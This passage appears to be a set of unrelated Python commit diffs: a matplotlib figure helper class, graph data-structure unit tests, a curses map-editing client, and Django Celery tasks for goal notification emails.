			"white": 'w'
		}
		if not isinstance(colors, list):
			colors = [colors]
			xys = [xys]
			texts = [texts]

		for xy, text, color in zip(xys, texts, colors):
			plt.plot(xy[0], xy[1], 'o{}'.format(color_dict[color]), ms=pointsize)
			self.ax.annotate("$"+text+"$" if latex else text, xytext=xy, xy=xy, fontsize=fontsize, horizontalalignment='center', textcoords='offset points')

	def addText(self, xy, text, color="black", fontsize=12, halignment='center', valignment='top', bbox={}, latex=True):
		color_dict = {
			"blue": 'b',
			"green": 'g',
			"red": 'r',
			"cyan": 'c',
			"magenta": 'm',
			"yellow": 'y',
			"black": 'k',
			"white": 'w'
		}
		if not isinstance(color, list):
			color = [color]
			xy = [xy]
			text = [text]
			halignment = [halignment]
			valignment = [valignment]
			bbox = [bbox]
			latex = [latex]

		for xy, text, color, valignment, halignment, bbox, latex in zip(xy, text, color, valignment, halignment, bbox, latex):
			self.ax.annotate("$"+text+"$" if latex else text, xytext=xy, xy=xy, fontsize=fontsize, horizontalalignment=halignment, verticalalignment=valignment, bbox=bbox)

	def addFunction(self, functions, xyranges, colors='black', linewidth=2):
		color_dict = {
			"blue": 'b',
			"green": 'g',
			"red": 'r',
			"cyan": 'c',
			"magenta": 'm',
			"yellow": 'y',
			"black": 'k',
			"white": 'w'
		}

		if not isinstance(functions, list):
			functions = [functions]
			xyranges = [xyranges]
			colors = [colors]

		for function, xyrange, color in zip(functions, xyranges, colors):
			x = np.linspace(xyrange[0][0], xyrange[0][1], 1000)
			y = function(x)
			self.ax.plot(x, y, color_dict[color])

	def addTicks(self, tick_label_interval=1, tick_interval=1, fontsize=12):
		self.tick_interval = tick_interval
		self.tick_label_interval = tick_label_interval
		# Control ticks
		self.ax.xaxis.set_major_locator(matplotlib.ticker.MultipleLocator(tick_label_interval))
		self.ax.yaxis.set_major_locator(matplotlib.ticker.MultipleLocator(tick_label_interval))
		self.ax.xaxis.set_minor_locator(matplotlib.ticker.MultipleLocator(tick_interval))
		self.ax.yaxis.set_minor_locator(matplotlib.ticker.MultipleLocator(tick_interval))
		self.ax.tick_params(axis='both', which='major', labelsize=fontsize)
		#self.ax.tick_params(axis='both', which='minor', labelsize=8)

	def addPolygon(self, vertices):
		polygon = Polygon.Polygon(vertices, self.fig, self.ax)
		return polygon

	def addCircle(self, xy=(0,0), diameter=None, radius=None, label=None):
		circle = Circle.Circle(self.fig, self.ax, xy, diameter, radius, label)
		return circle

	def addEllipse(self, xy=(0,0), width=None, height=None, wlabel=None, hlabel=None, is_radius=True):
		ellipse = Ellipse.Ellipse(self.fig, self.ax, xy, width, height, wlabel, hlabel, is_radius)
		return ellipse

	def addTriangle_angle(self, xy=(0,0), angle=(45*np.pi)/180, rotation=0):
		# Define the angles and sides
		alpha = angle
		beta = np.pi/2
		gamma = ((np.pi-beta-alpha))

		A = 1
		B = np.sin(beta)/np.sin(alpha)
		C = np.sin(gamma)/np.sin(alpha)

		# Define the vertices
		vertex_A = [0+xy[0], A+xy[1]]
		vertex_B = xy
		vertex_C = [C+xy[0], 0+xy[1]]

		polygon = Polygon.Polygon([vertex_A, vertex_B, vertex_C], self.fig, self.ax)

		# Perform the rotation if at all
		transformation = matplotlib.transforms.Affine2D().rotate(rotation) + self.ax.transData
		polygon.matplotlib_obj.set_transform(transformation)

		# Create and add polygon
		#self.ax.add_patch(polygon)

		return polygon

	def addTriangle_side(self):
		raise Exception('Not implemented yet!')

	def addArrow(self, xy, dxdy, color='black'):
		return Arrow.Arrow(self.ax, self.fig, xy, dxdy, color)
<|endoftext|>


<commit_before>#!/usr/bin/python3
# -*- coding: utf-8 -*-
#
# The MIT License (MIT)
#
# Copyright (c) 2016 Ludovic Trottier
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

import unittest

class TestGraphMethods(unittest.TestCase):

    def setUp(self):
        self.empty_graph = Graph()

        self.unit_graph = Graph()
        self.unit_graph.insert(2)

        self.some_graph = Graph()
        self.some_graph.insert(4)
        self.some_graph.insert(5)
        self.some_graph.insert(2)
        self.some_graph.connect(4,5)
        self.some_graph.connect(5,4)
        self.some_graph.connect(2,5)

    def test_adjacent_raises(self):
        with self.assertRaises(ValueError):
            self.empty_graph.adjacent(1,2)
        with self.assertRaises(ValueError):
            self.unit_graph.adjacent(1,2)
        with self.assertRaises(ValueError):
            self.some_graph.adjacent(2,6)
        with self.assertRaises(ValueError):
            self.some_graph.adjacent(1,2)

    def test_adjacent_ok(self):
        self.assertTrue(self.some_graph.adjacent(4,5))
        self.assertTrue(self.some_graph.adjacent(5,4))
        self.assertTrue(self.some_graph.adjacent(2,5))
        self.assertTrue(self.some_graph.adjacent(5,2))
        self.assertFalse(self.some_graph.adjacent(2,4))
        self.assertFalse(self.some_graph.adjacent(4,2))

    def test_neighbors_raises(self):
        with self.assertRaises(ValueError):
            self.empty_graph.neighbors(2)
        with self.assertRaises(ValueError):
            self.unit_graph.neighbors(5)
        with self.assertRaises(ValueError):
            self.some_graph.neighbors(1)

    def test_neighbors_ok(self):
        self.assertEqual([], self.unit_graph.neighbors(2))
        self.assertEqual([2,4], sorted(self.some_graph.neighbors(5)))
        self.assertEqual([5], sorted(self.some_graph.neighbors(4)))
        self.assertEqual([5], sorted(self.some_graph.neighbors(2)))

    def test_vertices_ok(self):
        self.assertEqual([], sorted(self.empty_graph.vertices()))
        self.assertEqual([2], sorted(self.unit_graph.vertices()))
        self.assertEqual([2,4,5], sorted(self.some_graph.vertices()))

    def test_insert_raises(self):
        with self.assertRaises(ValueError):
            self.unit_graph.insert(2)
        with self.assertRaises(ValueError):
            self.some_graph.insert(2)
        with self.assertRaises(ValueError):
            self.some_graph.insert(4)
        with self.assertRaises(ValueError):
            self.some_graph.insert(5)

    def test_insert_ok(self):
        pass

if __name__ == '__main__':
    from pystruct3.graph import AdjacencyListGraph as Graph
    unittest.TextTestRunner().run(unittest.TestLoader().loadTestsFromTestCase(TestGraphMethods))
<commit_msg>Graph: Added unittests.<commit_after>#!/usr/bin/python3
# -*- coding: utf-8 -*-
#
# The MIT License (MIT)
#
# Copyright (c) 2016 Ludovic Trottier
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

import unittest

class TestGraphMethods(unittest.TestCase):

    def setUp(self):
        self.empty_graph = Graph()

        self.unit_graph = Graph()
        self.unit_graph.insert(2)

        self.some_graph = Graph()
        self.some_graph.insert(4)
        self.some_graph.insert(5)
        self.some_graph.insert(2)
        self.some_graph.connect(4,5)
        self.some_graph.connect(5,4)
        self.some_graph.connect(2,5)

    def test_adjacent_raises(self):
        with self.assertRaises(ValueError):
            self.empty_graph.adjacent(1,2)
        with self.assertRaises(ValueError):
            self.unit_graph.adjacent(1,2)
        with self.assertRaises(ValueError):
            self.some_graph.adjacent(2,6)
        with self.assertRaises(ValueError):
            self.some_graph.adjacent(1,2)

    def test_adjacent_ok(self):
        self.assertTrue(self.some_graph.adjacent(4,5))
        self.assertTrue(self.some_graph.adjacent(5,4))
        self.assertTrue(self.some_graph.adjacent(2,5))
        self.assertTrue(self.some_graph.adjacent(5,2))
        self.assertFalse(self.some_graph.adjacent(2,4))
        self.assertFalse(self.some_graph.adjacent(4,2))

    def test_adjacent_to_self(self):
        self.unit_graph.connect(2,2)
        self.assertTrue(self.unit_graph.adjacent(2,2))
        self.assertFalse(self.some_graph.adjacent(2,2))
        self.assertFalse(self.some_graph.adjacent(4,4))
        self.assertFalse(self.some_graph.adjacent(5,5))
        self.some_graph.connect(5,5)
        self.assertTrue(self.some_graph.adjacent(5,5))

    def test_neighbors_raises(self):
        with self.assertRaises(ValueError):
            self.empty_graph.neighbors(2)
        with self.assertRaises(ValueError):
            self.unit_graph.neighbors(5)
        with self.assertRaises(ValueError):
            self.some_graph.neighbors(1)

    def test_neighbors_ok(self):
        self.assertEqual([], self.unit_graph.neighbors(2))
        self.assertEqual([2,4], sorted(self.some_graph.neighbors(5)))
        self.assertEqual([5], sorted(self.some_graph.neighbors(4)))
        self.assertEqual([5], sorted(self.some_graph.neighbors(2)))
        self.some_graph.connect(5,5)
        self.assertEqual([2,4,5], sorted(self.some_graph.neighbors(5)))

    def test_vertices_ok(self):
        self.assertEqual([], sorted(self.empty_graph.vertices()))
        self.assertEqual([2], sorted(self.unit_graph.vertices()))
        self.assertEqual([2,4,5], sorted(self.some_graph.vertices()))

    def test_contains_ok(self):
        self.assertFalse(3 in self.empty_graph)
        self.assertFalse(self.empty_graph.contains(3))
        self.assertTrue(2 in self.unit_graph)
        self.assertTrue(self.unit_graph.contains(2))
        self.assertFalse(4 in self.unit_graph)
        self.assertFalse(self.unit_graph.contains(4))
        self.assertTrue(2 in self.some_graph)
        self.assertTrue(self.some_graph.contains(2))
        self.assertTrue(4 in self.some_graph)
        self.assertTrue(self.some_graph.contains(4))
        self.assertTrue(5 in self.some_graph)
        self.assertTrue(self.some_graph.contains(5))
        self.assertFalse(1 in self.some_graph)
        self.assertFalse(self.some_graph.contains(1))

    def test_insert_raises(self):
        with self.assertRaises(ValueError):
            self.unit_graph.insert(2)
        with self.assertRaises(ValueError):
            self.some_graph.insert(2)
        with self.assertRaises(ValueError):
            self.some_graph.insert(4)
        with self.assertRaises(ValueError):
            self.some_graph.insert(5)

    def test_insert_ok(self):
        self.empty_graph.insert(4)
        self.assertEqual([4], self.empty_graph.vertices())
        self.empty_graph.insert(2)
        self.assertEqual([2,4], sorted(self.empty_graph.vertices()))
        self.empty_graph.insert(1)
        self.assertEqual([1,2,4], sorted(self.empty_graph.vertices()))

    def test_remove_raises(self):
        with self.assertRaises(ValueError):
            self.empty_graph.remove(4)
        with self.assertRaises(ValueError):
            self.unit_graph.remove(1)
        with self.assertRaises(ValueError):
            self.some_graph.remove(7)

    def test_remove_ok(self):
        self.unit_graph.remove(2)
        self.assertTrue(self.unit_graph.is_empty())

        self.some_graph.remove(5)
        self.assertEqual([], self.some_graph.neighbors(4))
        self.assertEqual([], self.some_graph.neighbors(2))

    def test_remove_when_self_adjacent(self):
        self.some_graph.connect(5,5)
        self.some_graph.remove(5)
        self.assertEqual([], self.some_graph.neighbors(4))
        self.assertEqual([], self.some_graph.neighbors(2))

    def test_remove_no_neighbors(self):
        self.some_graph.connect(5,2)
        self.some_graph.connect(4,2)
        self.some_graph.connect(2,4)
        self.some_graph.connect(5,5)
        self.some_graph.remove(5)
        self.assertTrue(5 not in self.some_graph)
        self.assertTrue(5 not in self.some_graph.neighbors(4))
        self.assertTrue(5 not in self.some_graph.neighbors(2))

    def test_connect_raises(self):
        with self.assertRaises(ValueError):
            self.empty_graph.connect(1,2)
        with self.assertRaises(ValueError):
            self.unit_graph.connect(1,2)
        with self.assertRaises(ValueError):
            self.unit_graph.connect(2,1)
        with self.assertRaises(ValueError):
            self.unit_graph.connect(2,2)
            self.unit_graph.connect(2,2)
        with self.assertRaises(ValueError):
            self.some_graph.connect(4,5)
        with self.assertRaises(ValueError):
            self.some_graph.connect(5,4)
        with self.assertRaises(ValueError):
            self.some_graph.connect(2,5)
        with self.assertRaises(ValueError):
            self.some_graph.connect(1,5)
        with self.assertRaises(ValueError):
            self.some_graph.connect(5,1)

    def test_connect_ok(self):
        self.unit_graph.connect(2,2)
        self.assertTrue(self.unit_graph.adjacent(2,2))
        self.some_graph.connect(5,5)
        self.assertTrue(self.some_graph.adjacent(5,5))
        self.some_graph.connect(2,4)
        self.assertTrue(self.some_graph.adjacent(2,4))
        self.some_graph.connect(4,2)
        self.assertTrue(self.some_graph.adjacent(4,2))

    def test_disconnect_raises(self):
        with self.assertRaises(ValueError):
            self.empty_graph.disconnect(3,2)

        with self.assertRaises(ValueError):
            self.unit_graph.disconnect(2,2)
        with self.assertRaises(ValueError):
            self.unit_graph.disconnect(5,2)
        with self.assertRaises(ValueError):
            self.unit_graph.disconnect(2,5)
        with self.assertRaises(ValueError):
            self.unit_graph.disconnect(5,7)

        with self.assertRaises(ValueError):
            self.some_graph.disconnect(5,2)
        with self.assertRaises(ValueError):
            self.some_graph.disconnect(8,9)
        with self.assertRaises(ValueError):
            self.some_graph.disconnect(4,9)
        with self.assertRaises(ValueError):
            self.some_graph.disconnect(9,5)
        with self.assertRaises(ValueError):
            self.some_graph.disconnect(2,5)
            self.some_graph.disconnect(2,5)

    def test_disconnect_ok(self):
        self.some_graph.disconnect(2,5)
        self.assertFalse(self.some_graph.adjacent(2,5))
        self.assertTrue(self.some_graph.adjacent(5,4))
        self.assertTrue(self.some_graph.adjacent(4,5))

        self.some_graph.connect(5,5)
        self.some_graph.connect(2,5)
        self.some_graph.disconnect(5,5)
        self.assertFalse(self.some_graph.adjacent(5,5))
        self.assertTrue(self.some_graph.adjacent(2,5))
        self.assertTrue(self.some_graph.adjacent(5,4))
        self.assertTrue(self.some_graph.adjacent(4,5))

    def test_n_edges_ok(self):
        self.assertEqual(0, self.empty_graph.n_edges())
        self.assertEqual(0, self.unit_graph.n_edges())
        self.assertEqual(3, self.some_graph.n_edges())

        self.unit_graph.connect(2,2)
        self.assertEqual(1, self.unit_graph.n_edges())

        self.some_graph.connect(4,2)
        self.assertEqual(4, self.some_graph.n_edges())
        self.some_graph.disconnect(2,5)
        self.assertEqual(3, self.some_graph.n_edges())

    def test_n_vertices_ok(self):
        self.assertEqual(0, self.empty_graph.n_vertices())
        self.assertEqual(1, self.unit_graph.n_vertices())
        self.assertEqual(3, self.some_graph.n_vertices())

        self.empty_graph.insert(5)
        self.assertEqual(1, self.empty_graph.n_vertices())

        self.some_graph.remove(5)
        self.assertEqual(2, self.some_graph.n_vertices())

    def test_is_empty_ok(self):
        self.assertTrue(self.empty_graph.is_empty())
        self.assertFalse(self.unit_graph.is_empty())
        self.assertFalse(self.some_graph.is_empty())

    def test_equal_self(self):
        self.assertTrue(self.empty_graph.equal(self.empty_graph))
        self.assertEqual(self.empty_graph, self.empty_graph)

        self.assertTrue(self.unit_graph.equal(self.unit_graph))
        self.assertEqual(self.unit_graph, self.unit_graph)

        self.assertTrue(self.some_graph.equal(self.some_graph))
        self.assertEqual(self.some_graph, self.some_graph)

    def test_equal_ok(self):
        g = Graph()
        self.assertEqual(g, self.empty_graph)
        self.assertFalse(g is self.empty_graph)

        g.insert(2)
        self.assertEqual(g, self.unit_graph)
        self.assertFalse(g is self.unit_graph)

        g.insert(4)
        g.insert(5)
        g.connect(4,5)
        g.connect(5,4)
        g.connect(2,5)
        self.assertEqual(g, self.some_graph)
        self.assertFalse(g is self.some_graph)

    def test_copy_ok(self):
        g = self.empty_graph.copy()
        self.assertEqual(g, self.empty_graph)
        self.assertFalse(g is self.empty_graph)

        g = self.unit_graph.copy()
        self.assertEqual(g, self.unit_graph)
        self.assertFalse(g is self.unit_graph)

        g = self.some_graph.copy()
        self.assertEqual(g, self.some_graph)
        self.assertFalse(g is self.some_graph)

    def test_clear_ok(self):
        self.empty_graph.clear()
        self.assertEqual(0, self.empty_graph.n_vertices())
        self.assertEqual(0, self.empty_graph.n_edges())

        self.unit_graph.clear()
        self.assertEqual(0, self.unit_graph.n_vertices())
        self.assertEqual(0, self.unit_graph.n_edges())

        self.some_graph.clear()
        self.assertEqual(0, self.some_graph.n_vertices())
        self.assertEqual(0, self.some_graph.n_edges())

if __name__ == '__main__':
    from pystruct3.graph import AdjacencyListGraph as Graph
    unittest.TextTestRunner().run(unittest.TestLoader().loadTestsFromTestCase(TestGraphMethods))
<|endoftext|>


<commit_before>import curses
import string
import sys
import threading
from maps import Map, ChunkMap
from clientchunkpool import ClientChunkPool

# import fron chunks, maps, clientchunkpool

class Client():
	def __init__(self, address):
		self.stopping = False
		self.chunkmap_active = False

		self.address = address
		self.drawevent = threading.Event()
		self.pool = ClientChunkPool()
		#self.map_ = Map(sizex, sizey, self.pool)
		#self.chunkmap = Chunkmap(sizex, sizey, self.pool) # size changeable by +/-?

		#self.sock = socket.Socket(...)

	def launch(self, stdscr):
		sizey, sizex = stdscr.getmaxyx()
		self.map_ = Map(sizex, sizey, self.pool, self.drawevent)
		self.chunkmap = ChunkMap(self.map_)

		# start input thread
		self.inputthread = threading.Thread(
			target=self.input_thread,
			name="inputthread",
			args=(stdscr,),
			daemon=True
		)
		self.inputthread.start()

		while not self.stopping:
			self.drawevent.wait()
			stdscr.noutrefresh()
			with self.map_ as m:
				m.draw()

				if self.chunkmap_active:
					self.chunkmap.draw()
					curses.curs_set(False)
				else:
					curses.curs_set(True)

				#m.update_cursor()
				#m.noutrefresh()

			curses.doupdate()
			self.drawevent.clear()

	def input_thread(self, scr):
		while True:
			i = scr.getkey()

			if   i == "\x1b": self.stop()
			elif i == "KEY_F(2)":
				self.chunkmap_active = not self.chunkmap_active
				self.drawevent.set()
			elif i == "KEY_F(5)": self.map_.redraw()
			# normal cursor movement
			elif i == "KEY_UP":     self.map_.move_cursor(0, -1)
			elif i == "KEY_DOWN":   self.map_.move_cursor(0, 1)
			elif i == "KEY_LEFT":   self.map_.move_cursor(-1, 0)
			elif i == "KEY_RIGHT":  self.map_.move_cursor(1, 0)
			# quick cursor movement (5 vertical, 10 horizontal)
			elif i == "KEY_SR":     self.map_.move_cursor(0, -5)
			elif i == "KEY_SF":     self.map_.move_cursor(0, 5)
			elif i == "KEY_SLEFT":  self.map_.move_cursor(-10, 0)
			elif i == "KEY_SRIGHT": self.map_.move_cursor(10, 0)
			# scrolling the map (10 vertical, 20 horizontal)
			elif i == "kUP5":  self.map_.scroll(0, -10)
			elif i == "kDN5":  self.map_.scroll(0, 10)
			elif i == "kLFT5": self.map_.scroll(-20, 0)
			elif i == "kRIT5": self.map_.scroll(20, 0)
			# edit world
			elif i in string.digits + string.ascii_letters + string.punctuation + " ":
				self.map_.write(i)
			elif i == "\x7f": self.map_.delete()
			elif i == "\n":   self.map_.newline()

			else: sys.stdout.write(repr(i) + "\n")

	def stop(self):
		self.stopping = True
		self.drawevent.set()

def main(argv):
	if len(argv) != 2:
		print("Usage:")
		print("  {} address".format(argv[0]))
		return

	client = Client(argv[1])
	curses.wrapper(client.launch)

if __name__ == "__main__":
	main(sys.argv)
<commit_msg>Ignore normal input besides scrolling when ChunkMap is displayed<commit_after>import curses
import string
import sys
import threading
from maps import Map, ChunkMap
from clientchunkpool import ClientChunkPool

# import fron chunks, maps, clientchunkpool

class Client():
	def __init__(self, address):
		self.stopping = False
		self.chunkmap_active = False

		self.address = address
		self.drawevent = threading.Event()
		self.pool = ClientChunkPool()
		#self.map_ = Map(sizex, sizey, self.pool)
		#self.chunkmap = Chunkmap(sizex, sizey, self.pool) # size changeable by +/-?

		#self.sock = socket.Socket(...)

	def launch(self, stdscr):
		sizey, sizex = stdscr.getmaxyx()
		self.map_ = Map(sizex, sizey, self.pool, self.drawevent)
		self.chunkmap = ChunkMap(self.map_)

		# start input thread
		self.inputthread = threading.Thread(
			target=self.input_thread,
			name="inputthread",
			args=(stdscr,),
			daemon=True
		)
		self.inputthread.start()

		while not self.stopping:
			self.drawevent.wait()
			stdscr.noutrefresh()
			with self.map_ as m:
				m.draw()

				if self.chunkmap_active:
					self.chunkmap.draw()
					curses.curs_set(False)
				else:
					curses.curs_set(True)

				#m.update_cursor()
				#m.noutrefresh()

			curses.doupdate()
			self.drawevent.clear()

	def input_thread(self, scr):
		while True:
			i = scr.getkey()

			if   i == "\x1b": self.stop()
			elif i == "KEY_F(2)":
				self.chunkmap_active = not self.chunkmap_active
				self.drawevent.set()
			elif i == "KEY_F(5)": self.map_.redraw()
			# scrolling the map (10 vertical, 20 horizontal)
			elif i == "kUP5":  self.map_.scroll(0, -10)
			elif i == "kDN5":  self.map_.scroll(0, 10)
			elif i == "kLFT5": self.map_.scroll(-20, 0)
			elif i == "kRIT5": self.map_.scroll(20, 0)

			# break here if chunkmap is shown: Don't allow for cursor movement or input
			elif self.chunkmap_active: pass

			# quick cursor movement (5 vertical, 10 horizontal)
			elif i == "KEY_SR":     self.map_.move_cursor(0, -5)
			elif i == "KEY_SF":     self.map_.move_cursor(0, 5)
			elif i == "KEY_SLEFT":  self.map_.move_cursor(-10, 0)
			elif i == "KEY_SRIGHT": self.map_.move_cursor(10, 0)
			# normal cursor movement
			elif i == "KEY_UP":     self.map_.move_cursor(0, -1)
			elif i == "KEY_DOWN":   self.map_.move_cursor(0, 1)
			elif i == "KEY_LEFT":   self.map_.move_cursor(-1, 0)
			elif i == "KEY_RIGHT":  self.map_.move_cursor(1, 0)
			# edit world
			elif i in string.digits + string.ascii_letters + string.punctuation + " ":
				self.map_.write(i)
			elif i == "\x7f": self.map_.delete()
			elif i == "\n":   self.map_.newline()

			else: sys.stdout.write(repr(i) + "\n")

	def stop(self):
		self.stopping = True
		self.drawevent.set()

def main(argv):
	if len(argv) != 2:
		print("Usage:")
		print("  {} address".format(argv[0]))
		return

	client = Client(argv[1])
	curses.wrapper(client.launch)

if __name__ == "__main__":
	main(sys.argv)
<|endoftext|>


<commit_before>import logging
import os
from datetime import datetime

from celery.decorators import task
from celery.schedules import crontab
from celery.task import periodic_task
from django.conf import settings
from django.contrib.auth import get_user_model
from django.core.mail import send_mail
from django.template import loader

from goals.models import Goal

logger = logging.getLogger("project")
User = get_user_model()

@task()
def send_creation_email(id):
    goal = Goal.objects.get(id=id)

    template = loader.get_template("goals/email/create_goal.html")
    subject = "Mysana Notification"

    html_message = template.render({
        "user": goal.user.name.title(),
        "goal": goal.title,
        "url": "http://" + os.environ.get('SERVER_NAME', 'mysana.rohanroy.com') + goal.get_absolute_url()
    })

    logger.info("sending email for [%s]" % goal.id)
    try:
        send_mail(
            subject,
            '',
            settings.EMAIL_FROM,
            ["rohan@rohanroy.com"],
            html_message=html_message,
            fail_silently=False
        )
        logger.info("Email was sent to [%s]" % goal.user.email)
    except:
        logger.info("Email was not sent to [%s]" % goal.user.email)

@task()
def send_update_email(id):
    goal = Goal.objects.get(id=id)
    if goal.is_completed():
        subject = "Mysana Task Completed Notification"
        status = "completed"
    else:
        subject = "Mysana Task Updation Notification"
        status = "updated"

    template = loader.get_template("goals/email/update_goal.html")

    html_message = template.render({
        "user": goal.user.name.title(),
        "goal": goal.title,
        "status": status,
        "url": "http://" + os.environ.get('SERVER_NAME', 'mysana.rohanroy.com') + goal.get_absolute_url()
    })

    logger.info("sending email for [%s]" % goal.id)
    try:
        send_mail(
            subject,
            '',
            settings.EMAIL_FROM,
            ["rohan@rohanroy.com"],
            html_message=html_message,
            fail_silently=False
        )
        logger.info("Email was sent to [%s]" % goal.user.email)
    except:
        logger.info("Email was not sent to [%s]" % goal.user.email)

@periodic_task(run_every=crontab(hour="23", minute="15"))
def daily_notification():
    subject = "Mysana Daily Notification"
    template = loader.get_template("goals/email/daily_notification.html")

    users = User.objects.all()
    for user in users:
        goals = user.goal_set.all()
        logger.info("Goals count for user %s is %s" % (user.id, goals.count()))
        if goals.count() > 1:
            html_message = template.render({
                "user": user.name.title(),
                "goals": goals,
                "server": os.environ.get('SERVER_NAME', 'mysana.rohanroy.com')
            })
            logger.info("sending daily notifications for user [%s]" % user.id)
            send_mail(
                subject,
                '',
                settings.EMAIL_FROM,
                [user.email],
                html_message=html_message,
                fail_silently=False
            )
            logger.info("Daily notifications was sent to [%s]" % user.email)

@periodic_task(run_every=crontab(hour="23", minute="15"))
def overdue_task():
    template = loader.get_template("goals/email/overdue_notification.html")
    now = datetime.now()

    users = User.objects.all()
    for user in users:
        goals = user.goal_set.all().filter(end_date__gte=now)
        logger.info("Goals count for user %s is %s" % (user.id, goals.count()))
        if goals.count() > 0:
            html_message = template.render({
                "user": user.name.title(),
                "goals": goals,
                "server": os.environ.get('SERVER_NAME', 'mysana.rohanroy.com'),
                "count": goals.count()
            })
            subject = "You have %s overdue life goals in Mysana" % goals.count()

            logger.info("sending daily overdue notifications for user [%s]" % user.id)
            send_mail(
                subject,
                '',
                settings.EMAIL_FROM,
                [user.email],
                html_message=html_message,
                fail_silently=False
            )
            logger.info("Daily overdue notifications was sent to [%s]" % user.email)
<commit_msg>task was updated<commit_after>import logging
import os
from datetime import datetime

from celery.decorators import task
from celery.schedules import crontab
from celery.task import periodic_task
from django.conf import settings
from django.contrib.auth import get_user_model
from django.core.mail import send_mail
from django.template import loader

from goals.models import Goal

logger = logging.getLogger("project")
User = get_user_model()

@task()
def send_creation_email(id):
    goal = Goal.objects.get(id=id)

    template = loader.get_template("goals/email/create_goal.html")
    subject = "Mysana Notification"

    html_message = template.render({
        "user": goal.user.name.title(),
        "goal": goal.title,
        "url": "http://" + os.environ.get('SERVER_NAME', 'mysana.rohanroy.com') + goal.get_absolute_url()
    })

    logger.info("sending email for [%s]" % goal.id)
    try:
        send_mail(
            subject,
            '',
            settings.EMAIL_FROM,
            [goal.user.email],
            html_message=html_message,
            fail_silently=False
        )
        logger.info("Email was sent to [%s]" % goal.user.email)
    except:
        logger.info("Email was not sent to [%s]" % goal.user.email)

@task()
def send_update_email(id):
    goal = Goal.objects.get(id=id)
    if goal.is_completed():
        subject = "Mysana Task Completed Notification"
        status = "completed"
    else:
        subject = "Mysana Task Updation Notification"
        status = "updated"

    template = loader.get_template("goals/email/update_goal.html")

    html_message = template.render({
        "user": goal.user.name.title(),
        "goal": goal.title,
        "status": status,
        "url": "http://" + os.environ.get('SERVER_NAME', 'mysana.rohanroy.com') + goal.get_absolute_url()
    })

    logger.info("sending email for [%s]" % goal.id)
    try:
        send_mail(
            subject,
            '',
            settings.EMAIL_FROM,
            [goal.user.email],
            html_message=html_message,
            fail_silently=False
        )
        logger.info("Email was sent to [%s]" % goal.user.email)
    except:
        logger.info("Email was not sent to [%s]" % goal.user.email)

@periodic_task(run_every=crontab(hour="23", minute="15"))
def daily_notification():
    subject = "Mysana Daily Notification"
    template = loader.get_template("goals/email/daily_notification.html")

    users = User.objects.all()
    for user in users:
        goals = user.goal_set.all()
        logger.info("Goals count for user %s is %s" % (user.id, goals.count()))
        if goals.count() > 1:
            html_message = template.render({
                "user": user.name.title(),
                "goals": goals,
                "server": os.environ.get('SERVER_NAME', 'mysana.rohanroy.com')
            })
            logger.info("sending daily notifications for user [%s]" % user.id)
            send_mail(
                subject,
                '',
                settings.EMAIL_FROM,
                [user.email],
                html_message=html_message,
                fail_silently=False
            )
            logger.info("Daily notifications was sent to [%s]" % user.email)

@periodic_task(run_every=crontab(hour="23", minute="15"))
def overdue_task():
    template = loader.get_template("goals/email/overdue_notification.html")
    now = datetime.now()

    users = User.objects.all()
    for user in users:
        goals = user.goal_set.all().filter(end_date__gte=now)
        logger.info("Goals count for user %s is %s" % (user.id, goals.count()))
        if goals.count() > 0:
            html_message = template.render({
                "user": user.name.title(),
                "goals": goals,
                "server": os.environ.get('SERVER_NAME', 'mysana.rohanroy.com'),
                "count": goals.count()
            })
            subject = "You have %s overdue life goals in Mysana" % goals.count()

            logger.info("sending daily overdue notifications for user [%s]" % user.id)
            send_mail(
                subject,
                '',
                settings.EMAIL_FROM,
                [user.email],
                html_message=html_message,
                fail_silently=False
            )
            logger.info("Daily overdue notifications was sent to [%s]" % user.email)
<|endoftext|>


<commit_before>import shapes
import matplotlib
matplotlib.use('Agg') # Change renderer so it doesn't use the GUI
matplotlib.rcParams['mathtext.fontset'] = 'cm' # Change font to Computer Modern (LaTeX font)
import matplotlib.pyplot as plt
import numpy as np
from shapes import Polygon, Circle, Ellipse

class Figures:
	def __init__(self):
		self.fig, self.ax = plt.subplots()

	def add_text(self, xy, text, color="black", fontsize=25):
		raise Exception('Not implemented yet')

	def add_function(self, functions, xyranges, colors='black', linewidth=2):
		color_dict = {
			"blue": 'b',
			"green": 'g',
			"red": 'r',
			"cyan": 'c',
			"magenta": 'm',
			"yellow": 'y',
			"black": 'k',
			"white": 'w'
		}

		if not isinstance(functions, list):
			functions = [functions]
			xyranges = [xyranges]
			colors = [colors]

		for function, xyrange, color in zip(functions, xyranges, colors):
			x = np.linspace(xyrange[0][0], xyrange[0][1], 100)
			y = function(x)
			self.ax.plot(x, y, color_dict[color])

